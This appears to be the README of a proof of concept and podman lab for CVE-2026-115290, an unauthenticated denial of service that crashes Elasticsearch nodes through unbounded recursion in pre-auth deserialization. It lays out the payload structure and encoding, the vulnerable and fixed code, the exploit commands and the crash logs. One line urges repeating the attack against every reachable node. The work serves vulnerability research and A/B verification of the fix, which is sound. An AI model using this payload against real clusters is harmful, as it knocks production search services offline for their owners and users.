
PoC e laboratorio A/B containerizzato per CVE-2026-115290, un DoS non autenticato del server cluster remoto di Elasticsearch tramite ricorsione di deserializzazione non limitata (CWE-674).
Causa principale: Ricorsione non controllata (CWE-674). Il nodo deserializza i byte forniti dall'attaccante
prima di verificare la chiave API: una singola richiesta TCP non autenticata alla porta del server per cluster remoti è
sufficiente a far esplodere lo stack di un worker con un StackOverflowError e a mandare giù il nodo. Ripetere contro ogni
nodo raggiungibile.
| CVE | CVE-2026-115290 |
| Advisory | Elastic ESA-2026-201 (2026-11-03) |
| Gravità | CVSS 3.1 7.5 High, vettore AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| Affected | Elasticsearch 8.10.0 to 8.19.23, 9.0.0 to 9.4.8, 9.5.0 to 9.5.5, with remote_cluster_server.enabled: true |
| Fixed | 8.19.24 / 9.4.9 / 9.5.6 |
| Commit di correzione | 0b1b229c8c ("Verify API key before decoding cross-cluster info", elastic/elasticsearch #161492) |
| Prerequisiti | Licenza Enterprise / trial (funzionalità advanced-remote-cluster-security), interfaccia abilitata |
CrossClusterAccessAuthenticationService.authenticate() (≤ 8.19.23) decodificava l'header
subject-info controllato dal mittente il prima possibile così che gli eventi di audit potessero includere l'id della chiave API:
// 8.19.23, vulnerable build
public static CrossClusterAccessHeaders readFromContext(final ThreadContext ctx) {
final String credentialsHeader = ctx.getHeader(CROSS_CLUSTER_ACCESS_CREDENTIALS_HEADER_KEY);
parseCredentialsHeader(credentialsHeader).close(); // (1) format-check only
return new CrossClusterAccessHeaders(credentialsHeader,
CrossClusterAccessSubjectInfo.readFromContext(ctx)); // (2) DECODES attacker bytes, pre-auth
}
La decodifica è pura deserializzazione senza limiti di profondità:
public static CrossClusterAccessSubjectInfo decode(final String header) {
byte[] bytes = Base64.getDecoder().decode(header);
StreamInput in = StreamInput.wrap(bytes);
TransportVersion version = TransportVersion.readVersion(in); // attacker-chosen
in.setTransportVersion(version);
Authentication authentication = new Authentication(in); // -> readMetadata -> readGenericValue
...
}
StreamInput.readGenericValue() ricorre senza alcun limite di profondità sulle mappe annidate (tag di tipo 10).
Circa 200k mappe annidate a singola voce sono sufficienti per far esplodere lo stack del thread di trasporto all'interno di decode().
Corretto (8.19.24): le informazioni del subject restano codificate finché la chiave API non è autenticata, quindi le richieste non autenticate non raggiungono mai il deserializzatore:
// 8.19.24, CrossClusterAccessRequestHeaders keeps the header as a String
final String subjectInfoHeader = requiredHeader(ctx, CROSS_CLUSTER_ACCESS_SUBJECT_INFO_HEADER_KEY);
...
// only after successful API-key authentication:
final CrossClusterAccessSubjectInfo subjectInfo = requestHeaders.decodeSubjectInfo().cleanAndValidate();
attacker ──TCP :9443──> remote cluster server port (profile _remote_cluster)
ES transport frame: action "indices:data/read/search" (any registered action)
ThreadContext headers:
_cross_cluster_access_credentials = "ApiKey <base64(id:key)>" (format-valid, key unknown)
_cross_cluster_access_subject_info = base64(vInt TransportVersion + Authentication{ metadata =
{ "poc_nested": {a: {a: {a: ... 200k deep ... }}} } } + roleDescriptorsBytesList[])
InboundHandler.handleRequest -> RequestHandlerRegistry (action exists) ->
ProfileSecuredRequestHandler.messageReceived (profile _remote_cluster) ->
CrossClusterAccessServerTransportFilter.authenticate -> license check -> header presence check ->
CrossClusterAccessAuthenticationService.authenticate -> CrossClusterAccessHeaders.readFromContext ->
CrossClusterAccessSubjectInfo.decode -> StreamInput.readGenericValue (unbounded) -> StackOverflowError
-> netty exceptionCaught -> ExceptionsHelper.maybeDieOnAnotherThread ->
ElasticsearchUncaughtExceptionHandler: "fatal error in thread [...], exiting" -> Runtime.halt(126)
Cose che rendono l'attacco facile:
TransportVersion.isCompatible);TransportVersion (letta con readVInt), quindi i rami
di deserializzazione possono essere indirizzati indipendentemente dalla versione dell'header del messaggio;ApiKey <base64(id:key)>), la chiave stessa non deve mai
autenticarsi perché il crash avviene prima che ciò venga eseguito;readGenericValue: 0 stringa, 10 mappa (ricorsiva), 0xFF null; le stringhe sono
vInt charCount + utf8; gli interi sono vInt LEB128 a 7 bit.poc/poc.py PoC client (stdlib-only): check | exploit | dump
lab/run-lab.sh podman lab: vulnerable 8.19.23 (:9200/:9443) + fixed 8.19.24 (:9201/:9444)
lab/es-*/elasticsearch.yml node configs (RCS enabled, TLS off, trial license, security on)
lab/stop-lab.sh
evidence/ captured logs + PoC transcripts (not published)
podman pull docker.elastic.co/elasticsearch/elasticsearch:8.19.23 \
docker.elastic.co/elasticsearch/elasticsearch:8.19.24
./lab/run-lab.sh # both containers capped at --cpus 2 --memory 4g
# 1) unauthenticated handshake probe on the vulnerable node's RCS port
python3 poc/poc.py check --host 127.0.0.1 --port 9443
# 2) kill the vulnerable node
python3 poc/poc.py exploit --host 127.0.0.1 --port 9443
# connection drops, node exits with "fatal error in thread [...], exiting", halt(126)
# 3) A/B: identical payload against the fixed build, node survives and rejects the auth
python3 poc/poc.py exploit --host 127.0.0.1 --port 9444
./lab/stop-lab.sh
Distribuzioni TLS: aggiungere --tls a qualsiasi modalità.
Riproduzione a livello di unità (opzionale): il solo payload può essere passato al decoder reale:
CrossClusterAccessSubjectInfo.decode(header) -> StackOverflowError # verified against 8.19.23 jars
evidence/, riprodotta in questo laboratorio)Nodo vulnerabile (8.19.23, es-vuln). Una richiesta exploit, non autenticata:
[*] server closed the connection after 0.40s (closed=True, got 0 bytes)
[+] NODE TERMINATED: remote cluster server port 9443 refuses connections -- unauthenticated DoS reproduced
podman ps -a: es-vuln Exited (126) # Runtime.halt(126) == uncaught StackOverflowError
elasticsearch.log (vedi evidence/es-vuln-fatal.log):
ERROR "fatal error java.lang.StackOverflowError" ... Netty4MessageInboundHandler.exceptionCaught ->
ExceptionsHelper.maybeDieOnAnotherThread -> elasticsearch-error-rethrower
ERROR "fatal error in thread [elasticsearch-error-rethrower], exiting"
java.lang.StackOverflowError
at StreamInput.readGenericValue(StreamInput.java:859)
at StreamInput.readMap(StreamInput.java:751)
at StreamInput.readMap(StreamInput.java:736)
at StreamInput.readGenericValue(StreamInput.java:872) <- recursion loop, ~4 frames / nesting level
...
Nodo fisso (8.19.24, es-fixed), payload identico:
[*] response frame: status=0x03 (error response)
[*] response text: "unable to find apikey with id cve-2026-115290"
at CrossClusterAccessAuthenticationService.lambda$tryAuthenticate$3 <- auth ran, decode never did
[!] node is STILL ALIVE after the payload
podman ps -a: es-fixed Up (serving)